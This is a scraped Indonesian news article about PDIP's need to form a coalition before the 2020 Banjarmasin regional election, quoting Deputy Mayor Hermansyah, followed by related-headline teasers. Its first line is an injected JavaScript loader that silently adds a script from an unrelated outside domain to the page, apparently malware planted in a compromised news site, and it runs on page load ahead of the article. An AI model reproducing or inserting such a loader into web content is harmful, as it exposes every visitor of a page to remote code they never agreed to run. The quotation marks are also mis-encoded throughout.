(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Tak cukup mengusung calon sendiri alias harus berkoalisi, PDIP Kota Banjarmasin ‘wajib’ mendapatkan restu partai lainnya. Kader PDIP Hermansyah yang juga Wakil Walikota Banjarmain mulai kasak-kusuk melakukan lobi politik jelang Pilkada 2020
“Siapa pun yang mau maju, silakan, partai kita sangat terbuka. Baik kader PDIP maupun di luar PDIP. Karena di Banjarmasin PDIP harus koalisi. Tidak cukup kursinya,†ujar Hermansyah saat ditemui di konferensi cabang dan konferensi daerah PDI Perjuangan Se-Kalsel, di Rattan In, Banjarmasin, Senin (8/7).
“Ibaratnya banyak pilihan. Oleh sebab itu apapun yang diputuskan oleh partai. Kami siap menerima,†ujarnya.
Namun diakui Hermansyah, kursi PDIP di legislatif masih kurang untuk bisa mengusung calon pada Pilkada 2020 mendatang, sehingga tentunya PDIP harus berkoalisi.
Berdasarkan aturan undang-undang dimana partai politik harus minimal memenangkan 20 persen kursi di legislatif agar bisa mengusung calon dalam pemilihan kepala daerah. Partai atau gabungan partai harus setidaknya mempunyai 9 kursi, sementara PDIP hanya nampu memperoleh 5 kursi di DPRD Kota Banjarmasin.
Sehingga jelas Hermasnyah, PDIP harus mulai membicarakan ihwal koalisi dengan partai-partai lain. Diakui Hermansyah, ia sendiri telah melakukan pembicaraan secara pribadi dengan beberapa pihak.
Hermansyah juga pribadi berharap agar PDIP bisa mengusung dirinya dalam Pilkada mendatang meski tidak menutup kemungkinan ia tetap mempersilakan kader-kader lain untuk maju. “Makin banyak kader PDIP, berarti kita tidak kekurangan sama sekali bakal calon kepala daerah. Bisa nomor satu bisa nomor dua,†bebernya.
Beberapa waktu lalu Hermansyah sempat ditanyai ihwal kemungkinan berpasangan lagi dengan PKS dan Ibnu Sina, Hermansyah hanya menjawab bahwa politik dinamis dan semua bisa terjadi. “Komunikasi kita jalankan ke semua partai tanpa terkecuali,†pungkasnya.
Untuk di Pilkada Banjarmasin sendiri, hanya PAN yang mencukupi jumlah kursi mencukupi untuk mengusng calon sendiri tanpa koalisi berlaga di Pilkada 2020 mendatang. (mario)
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
This website uses cookies.